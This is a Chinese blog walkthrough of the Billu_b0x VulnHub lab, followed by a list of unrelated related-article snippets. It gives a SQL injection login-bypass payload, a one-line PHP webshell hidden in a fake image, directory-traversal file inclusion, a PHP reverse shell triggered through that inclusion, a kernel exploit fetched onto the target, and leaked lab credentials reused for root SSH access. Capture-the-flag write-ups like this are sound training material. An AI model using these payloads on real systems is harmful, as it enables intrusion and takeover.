打靶记录11——Billu_b0x
靶机:
https://download.vulnhub.com/billu/Billu_b0x.zip
难度:
- 中(两种攻击路线)
目标:
- 取得
root
权限
涉及的攻击方法:
- 主机发现
- 端口扫描
- Web信息收集
- SQL注入(Sqlmap跑不出来)
- 文件包含漏洞
- 文件上传漏洞
- 源码审计
- 内核漏洞提权
注意:
选择包含所有网卡的MAC地址
,就能正常获取IP地址了
但是我用VirtualBox还是获取不到IP,我直接用VMware了,kali和靶机都设置成NAT模式即可
主机发现
arp-scan -l
端口扫描和服务发现
nmap -p- 192.168.174.135
nmap -p22,80 -sV -sC 192.168.174.135
SQL注入
打开浏览器,根据提示Show me your SQLI skills
,那么该页面应该是存在SQL注入
这种漏洞类型的
随便输入提交之后抓包,发到BurpSuite
的Intruder
模块
Attack Type
选择Cluster bomb
集束炸弹
用户名那里使用/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt
这个kali里下载的SQL测试的字典
密码那里使用burp
自带的列表
发现到这些个payload
的时候就成功登录了,提示You are allowed
那我们直接用这个登录,账号密码使用or%200%3d0%20%23%22 / =%5c
成功登录
文件上传漏洞
发现有上传功能,尝试上传一个有一句话木马的shell.php
,但是提示only png,jpg and gif file are allowed
只能上传图片
Burp
抓包,修改文件名后缀,Content-Type
,还有添加GIF89a;
文件头之后,成功上传了一个包含了一句话Webshell:<?php system($_GET["cmd"]);?>
的图片文件
在Show Users
里查看,发现多了一个用户,然后复制图片链接去访问,发现一个新路径
http://192.168.174.135/uploaded_images/shell.png
访问发现没啥用处
访问http://192.168.174.135/uploaded_images/
也是
在URL后输入?cmd=id
测试一下服务器是否解析了图片里面的代码,也是失败
dirsearch -u http://192.168.174.135/
扫描目录发现一个add.php
看起来和前面的Add Users
那里是一样的,那么服务器可能是通过加载a.php
的方式在主页面实现这个功能的
文件包含漏洞
点击Add Users
,然后点击Continue
,然后BurpSuite
抓包看看
发现是通过load
参数来调用系统文件的
测试load=/etc/passwd
发现不能成功,那用目录穿越的方法,改成load=../../../../../../../etc/passwd
就能成功读取到文件,说明确实是存在文件包含的
那用刚刚上传了一句话木马的图片试试,发现不行,那么服务器可能是不接受这种形式的方法
反弹shell
那么我们上传一个反弹shell
的php
的代码试试,也就是再上传一张伪造的图片,它的扩展名仍然是png
,但是内容是反弹shell
的php
的代码。
使用kali里面自带的/usr/share/webshells/php/php-reverse-shell.ph
这个php
代码的反弹shell
脚本
上传时还是需要添加上GIF89a;
文件头,然后IP
和监听端口设置成kali
的
然后让Kali
开启nc
的监听
然后再通过文件包含漏洞去访问刚刚上传的图片,触发反弹shell
成功反弹shell之后,按照惯例升级一下shell
python -c "import pty; pty.spawn('/bin/bash')"
提权
uname -a
发现是3.13
的内核版本,是有内核漏洞的利用代码的
searchsploit 3.13.0
搜索,发现一个C语言
的代码利用脚本,之前的打靶中有使用过的,就不过多的赘述了,参考:打靶记录1——靶机medium_socnet-CSDN博客
先把代码复制到当前目录,然后开启http
服务
然后让靶机下载这个exp.c
,用gcc
把它编译成一个二进制文件,给它执行权限,然后执行就获得root
权限了
这是一种思路。
思路二
前面信息收集的时候发现了一个test
路径
访问之后发现明显的提示'file' parameter is empty. Please provide file path in 'file' parameter
,但是我们输入参数并赋值之后却没有内容显示
那既然Get
方式不成功,还有POST
方式
用POST
方式就成功读取到了/etc/passwd
文件
任意文件下载漏洞
file=add.php
直接获得了源码,说明这不是一个文件包含漏洞,而是任意文件下载漏洞,只会显示代码,不会解析代码。
那我们查看一下首页index.php
,前面SQL注入
漏洞的原因可能在代码中会有
<?php// 开始会话,确保可以使用 $_SESSION 超全局变量session_start();// 包含数据库连接文件和 HTML 头部文件
include('c.php');
include('head.php');// 检查用户是否已登录,如果没有,设置会话变量 'logged' 为一个空字符串
if(@$_SESSION['logged'] != true) {$_SESSION['logged'] = '';
}// 如果用户已登录并且 'admin' 会话变量不为空
if($_SESSION['logged'] == true && $_SESSION['admin'] != '') {// 显示已登录的消息echo "you are logged in :)";// 重定向到 'panel.php'header('Location: panel.php', true, 302);
} else {// 如果用户没有登录,显示登录表单echo '<div align=center style="margin:30px 0px 0px 0px;"><font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> <br><br>Show me your SQLI skills <br><form method=post>Username :- <input type=text name=un>   Password:- <input type=password name=ps> <br><br><input type=submit name=login value="let\'s login">';
}// 检查是否点击了登录按钮
if(isset($_POST['login'])) {// 将'\'替换为''$uname = str_replace('\'', '', urldecode($_POST['un']));$pass = str_replace('\'', '', urldecode($_POST['ps']));// 创建 SQL 查询来检查用户名和密码是否匹配$run = 'select * from auth where pass=\'' . $pass . '\' and uname=\'' . $uname . '\'';// 执行 SQL 查询$result = mysqli_query($conn, $run);// 如果查询结果有行,则用户凭据正确if (mysqli_num_rows($result) > 0) {$row = mysqli_fetch_assoc($result);echo "You are allowed<br>";// 设置会话变量以表示用户已登录$_SESSION['logged'] = true;$_SESSION['admin'] = $row['username'];// 重定向到 'panel.php'header('Location: panel.php', true, 302);} else {// 如果凭据不匹配,显示警告信息echo "<script>alert('Try again');</script>";}
}// 显示页脚
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>
主要漏洞在这段代码 $run = 'select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\''
,服务端没有进行严格的筛选和限制
\
右斜线是转义符,相当于代码里的内容就是一个'
单引号- 我们注入的账号密码
or 0=0 #"和 /
实现了万能密码的效果 - 最终的SQL语句是这样的
$run = 'select * from auth where pass='' and uname=' or 0=0 #
,0=0永远为真
搞懂了SQL注入漏洞存在的原因之后,继续进行信息收集
在c.php
里面发现了数据库的账号密码billu``b0x_billu
前面扫描目录的时候还发现了/phpmy/
这个路径,可能是phpmyadmin
这个Web界面的管理程序
发现确实是phpmyadmin
,使用刚刚的账号密码billu``b0x_billu
成功登录进去了
在auth
表里面发现正常的账号密码biLLu
hEx_it
,可以直接登录首页
继续进行目录探测(每当我们有新的目录和路径发现的时候,从渗透、实践的角度来讲,都建议对新发现的子路径、子目录再去进行进一步的爬取,每一个子目录里面都有可能存在更多、更有价值的信息)
dirsearch -u http://192.168.174.135/phpmy/
发现了配置文件的路径/phpmy/config.inc.php
在配置文件中发现了新的账号密码root``roottoor
前面信息收集,端口扫描的时候是发现它开启了22
端口的,我们尝试用这个账号密码登录一下。
发现我们直接登录进来了,称为了root
用户!
总结:
- 打完写个Note,天天打不总结都是空。
- 虽然今天这台靶机并不存在什么高难度的、新型的漏洞类型,但是如果我们能将这种传统的漏洞类型相互结合,综合发挥它们的威力和实力的话,最后发现它能达到的攻击的效果,仍然是非常巧妙,威胁程度也是非常高的。
相关文章:

打靶记录11——Billu_b0x
靶机: https://download.vulnhub.com/billu/Billu_b0x.zip难度: 中(两种攻击路线) 目标: 取得root权限 涉及的攻击方法: 主机发现端口扫描Web信息收集SQL注入(Sqlmap跑不出来)…...

一、在cubemx上配置sd和fatfs示例演示
一、sd和fatfs的配置流程界面 1、选择sd4bits 根据自己的sd卡的硬件插槽进行选择。 2、fatfs配置由于使用的是sd卡所以直接选择sd选项 3、程序中对sd卡的初始化需要进行改动,直接使用默认的参数sd卡是挂载不上的。 4、在sd卡挂载好后,就可以使用文件系统…...

C++ 语言特性02 - 命名空间
一:概述 现代C中的命名空间是什么? C中的命名空间允许用户在命名空间范围内对类、方法、变量和函数等实体进行分组,而不是在全局范围内使用。这可以防止大型项目中的类、方法、函数和变量之间发生命名冲突。命名空间将开发人员编写的代码组织…...

drools规则引擎 规则配置文件drl语法使用案例
前提:环境搭建,参考博文springboot整合drools规则引擎 示例入门-CSDN博客案例1,商城系统消费赠送积分 100元以下, 不加分 100元-500元 加100分 500元-1000元 加500分 1000元 以上 加1000分订单pojo编写 package cn.beijing.model;import lom…...

C++编程:高性能通信组件Capnproto与Protobuf的对比分析
文章目录 0. 概要1. 测试环境2. 测试方法3. 测试结果及分析3.1 延迟测试3.2 吞吐量测试3.3 稳定性测试3.4 一对二测试记录3.5 二对一测试记录3.6 Inter-process 单个点开销分析 4. CapnProto 与 Protobuf 的对比测试总结 0. 概要 本文主要探讨了两种高性能通信组件:…...

【Python读书数据,并计算数据的相关系数、方差,均方根误差】
为了处理Python中的读书数据(假设这里指的是一系列关于书籍阅读量或评分的数据),并计算这些数据的相关系数、方差以及均方根误差(RMSE),我们首先需要明确数据的结构。这里,我将假设我们有一组关…...

垃圾收集器G1ZGC详解
G1收集器(-XX:UseG1GC) G1 (Garbage-First)是一款面向服务器的垃圾收集器,主要针对配备多颗处理器及大容量内存的机器. 以极高概率满足GC停顿时间要求的同时,还具备高吞吐量性能特征. G1将Java堆划分为多个大小相等的独立区域(Region),JVM目…...

AI芯片:高性能卷积计算中的数据复用
随着深度学习的飞速发展,对处理器的性能要求也变得越来越高,随之涌现出了很多针对神经网络加速设计的AI芯片。卷积计算是神经网络中最重要的一类计算,本文分析了高性能卷积计算中的数据复用,这是AI芯片设计中需要优化的重点之一&a…...

gitlab修改默认访问端口
GitLab 自带了一个 Nginx 服务器实例,用于处理 HTTP 和 HTTPS 请求。这个内置的 Nginx 服务器被配置为与 GitLab 应用程序实例一起工作,并且它负责处理所有前端的网络通信。 通过yum或者apt安装Gitlab时,nginx通常是被自带安装并配置好的。 …...

python——异常
Python 中的异常及继承关系 在 Python 中,异常用于表示程序在运行过程中遇到的错误,所有异常类最终都继承自 BaseException。通过异常处理,我们可以捕获和处理这些错误,避免程序崩溃。 Python 异常继承关系图 BaseException-- …...

【人工智能】利用TensorFlow.js在浏览器中实现一个基本的情感分析系统
使用TensorFlow.js在浏览器中进行情感分析是一个非常实用的应用场景。TensorFlow.js 是一个用于在JavaScript环境中训练和部署机器学习模型的库,使得开发者能够在客户端直接运行复杂的机器学习任务。对于情感分析,我们可以使用预先训练好的模型来识别文本…...

Python——扩展数据类型
Python 的扩展数据类型是对内置数据类型的增强,旨在解决特定需求,提供更高级的功能。我们来看一些常见的扩展数据类型及其原理、用途,并通过示例逐步讲解。 1. collections.namedtuple namedtuple 是增强的元组,允许用名称访问元…...

JavaScript 详解——Vue基础
第一章 JavaScript简介 为什么学习javascript ? JavaScript 是全球最流行的编程语言。 JavaScript 是属于 Web 的编程语言。 JavaScript 是 web 开发者必学的三种语言之一: HTML 定义网页的内容 CSS 规定网页的布局 JavaScript 对网页行为进行编程 …...

机械行业数字化生产供应链产品解决方案(十二)
我们为机械行业提供的数字化生产供应链解决方案通过集成物联网、人工智能和大数据技术,打造了一套智能化的生产和供应链管理系统,实现了从设计、生产到物流的全程数字化、智能化。该系统通过实时数据采集与分析,优化生产计划和资源配置&#…...

Git——命令集合
Git命令集合 1. 基本操作 1.1 创建版本库 初始化本地仓库:git init添加文件到仓库:git add | git add file file2… | git add.提交文件到本地仓库:git commit -m “message” 1.2 版本回退 查看状态: git status查看全部修改…...

python 数据可视化折线图练习(下:代码演示)
根据上篇对三国疫情情况数据的罗列,构建折线图完成数据展示。(示例如下) 接下来是具体代码演示 import json from pyecharts.charts import Line from pyecharts.options import TitleOpts , LegendOpts , ToolboxOpts ,VisualMapOpts , T…...

深入探索 Go 1.18 的 debug/buildinfo:构建信息的获取与应用
标题:深入探索 Go 1.18 的 debug/buildinfo:构建信息的获取与应用 引言 Go 语言自 1.18 版本起,引入了对构建信息的标准化处理,这一特性极大地简化了获取程序构建信息的过程。debug/buildinfo 包提供了访问 Go 二进制文件中嵌入…...

Nios II的BSP Editor
1.菜单打开BSP Editor (1) (2) (3) 项目文件夹 -> software文件夹 -> ... _bsp文件夹 -> settings.bsp文件 2.文件打开BSP Editor 选中项目文件,右键,Nios II -> …...

Android-自适用高度的ViewPager
需求 在项目中,我们常常遇到需要动态调整 ViewPager 的高度,以适应其内容大小的需求。默认情况下,ViewPager 的高度是固定的,无法根据每个页面的内容高度进行调整。这会导致在内容高度不一致时,出现不必要的空白区域或…...

代码随想录day38|| 322零钱兑换 279完全平方数 139单词拆分
322零钱兑换 力扣题目链接 题目描述: 给你一个整数数组 coins ,表示不同面额的硬币;以及一个整数 amount ,表示总金额。 计算并返回可以凑成总金额所需的 最少的硬币个数 。如果没有任何一种硬币组合能组成总金额,…...

Cesium天空盒子(Skybox)制作(js代码)和显示
介绍 在Cesium中,星空背景是通过天空盒子方式(6张图片)来显示的,原生的图片分辨率太低,本项目用于生成天空盒子的6张图片。最终生成的6个图片大小约为500kb(每个),格式为jpg,总共的恒星数目约为…...

JAVA中的缓冲流BufferedInputStream
在Java中,BufferedInputStream 是一种用于包装其他输入流(如 FileInputStream)的过滤流。它通过内部缓冲区机制提高了输入流处理的效率。使用缓冲流可以减少读取数据的次数,因为每次从输入流读取数据时,BufferedInputS…...

WindowContainerTransaction类详解(一)
1、WindowContainerTransaction是什么: windowContainerTransaction类的对象是用来存储对windowContainer的修改的一个集合,windowContainer。因为应用侧是无法直接操作windowContainer的,如果应用侧需要修改windowContainer的话,…...

安装NFS扩展
#添加helm源 helm repo add nfs-subdir-external-provisioner https://kubernetes-sigs.github.io/nfs-subdir-external-provisioner #创建个namespace(可选,主要是为了查看资源方便) kubectl create ns nfs-sc-default #使用helm安装(10.1.129.86为NFS地址,/home/data/nfs…...

计算机网络——运输层(进程之间的通信、运输层端口,UDP与TCP、TCP详解)
运输层协议概述 进程之间的通信 运输层向它上面的应用层提供通信服务。 当网络边缘部分的两台主机使用网络核心部分的功能进行端到端的通信时,都要使用协议栈中的运输层;而网络核心部分中的路由器在转发分组时只用到下三层的功能。 Q1:我们…...

代码随想录算法训练营第一天 | 二分查找
文章目录 Leetcode704 二分查找二分法的使用前提:区间选择其他注意事项 Leetcode27 移除元素解题思路:优化思路 Leetcode704 二分查找 链接:https://leetcode.cn/problems/binary-search/ 代码随想录: https://programmercarl.com/ 时间复杂度: O(logN) 空间复杂度:…...

python相关知识
1、注释 共有三种:#、 、””” ””” 2、数据类型 整数、浮点、字符串、布尔、列表、元组、集合、字典 num1 666、num2 3.14、t1 True、t2 False、 列表:list [1,2,3,4] 元组:tuple (11,aaa,ddd,3) 字典:dict {li…...

Visual Studio 2022 LNK2001无法解析的外部符号 _wcscat_s 问题记录
ANSI C程序中,用到了wcsrchr、wcsncpy_s、wcscat_s、wcscpy_s等几个字符串函数,但是编译时提示: 错误 LNK2001 无法解析的外部符号 _wcscat_s 查了挺多帖子,没有解决。 https://bbs.csdn.net/topics/250012844 解决VS编译…...

Java高并发处理机制
高并发处理的思路: 扩容:水平扩容、垂直扩容缓存:将基础的数据放入缓存进行处理使用SpringCloud的注册中心,分服务注册到同一个注册中心,服务器检测使用Spring的熔断操作,检测服务器的心跳那个正常随机跳转…...

7 数据存储单位,整型、浮点型、字符型、布尔型数据类型,sizeof 运算符
目录 1 数据类型的分类 2 数据存储单位 2.1 位 2.2 字节 2.3 其余单位 3 整数类型 3.1 基本介绍 3.2 整型的类型 3.2.1 整数类型多样性的原因 3.2.2 整型类型之间的相对大小关系 3.3 整型注意事项 3.4 字面量后缀 3.5 格式占位符 3.6 案例:声明并输出…...